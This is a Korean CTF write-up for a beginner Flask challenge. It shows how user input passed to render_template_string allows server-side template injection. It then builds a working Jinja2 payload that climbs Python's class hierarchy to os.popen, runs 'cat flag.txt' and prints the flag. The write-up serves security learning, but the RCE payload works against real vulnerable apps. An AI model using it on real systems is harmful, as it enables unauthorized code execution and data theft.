warmup for beginner
문제에 들어가면 Hello World!!가 반겨준다.
주어진 코드에서 app.py를 보면 main
영역을 보면 name
변수에 World가 받고, Hello {name}!!를 리턴한다. 그래서 화면에 "Hello World!!"가 출력된 모습을 볼 수 있는 것이다.
...
@app.route('/')
def main():
name = request.args.get("name", "World")
return render_template_string(f'Hello {name}!!')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
그 위 부분에 Privent_SSTI
라고 정의한 것을 볼 수 있다. 하지만 따로 사용되는 부분은 없는 듯 하다.
requirements.txt 파일을 보면 Flask의 jinja2를 사용하는 것을 알 수 있다.
한 번 name값에 {{4*4}}
을 ssti가 작동되는지 확인을 해 본다.
?name={{4 * 4}}
ssti가 작동되는 것을 알 수 있다.
취약점은 바로 SSTI(Server Side Template Injection)인 것을 알 수 있다. SSTI란 공격자가 서버에서 사용중인 Template 구문으로 페이로드를 구성하여 입력해서 Template 구문이 서버에서 실행이 되도록 하는 공격이다.
즉 {{4*4}}
값을 넣었을 때 "{{4*4}}" 그대로 나와야 하지만 template으로 인식 되었기 때문에 "16"이란 값이 나온 것이다. 이것을 보고 ssti가 작동되는 것을 알 수 있다.
ssti 취약점이 있는 것을 알았으니 rce로 flag를 가져오면 될 것 같다.
RCE(Remote Code Excution) : 원격 코드 실행 취약점
일단은 빈 문자열에 __class__
를 사용하여 문자열 클래스에 접근한다.
{{"".__class__}}
그 다음 __base__
를 사용하여 부모클래스인 object 클래스에 접근할 수 있다.
{{"".__class__.__base__}}
그런 다음 __subclasses__()
를 사용하여 object 클래스의 서브클래스의 목록을 볼 수 있다. 목록 중에 <class subprocess.Popen>
의 위치를 확인한다.
{{"".__class__.__base__.__subclasses__()}}
<class subprocess.Popen>
의 위치는 494번째에 있다.
{{"".__class__.__base__.__subclasses__()[494]}}
subprocess.Popen 클래스를 이용하여 플래그를 확인할 수 있다.
{{"".__class__.__base__.__subclasses__()[494].__init__.__globals__['sys'].modules['os'].popen('cat flag.txt').read()}}
__init__
로 인스턴스 생성시 초기화 실행
__globals__
로 해당 함수의 전역 변수의 목록을 확인 ['sys'] 사용
__modules__
로 os 모듈 사용
read()
명령어 확인
hspace{57a32c35915278d4de4ca21a8dc22b7f642a2a33e1508050c9498e1e48290e38}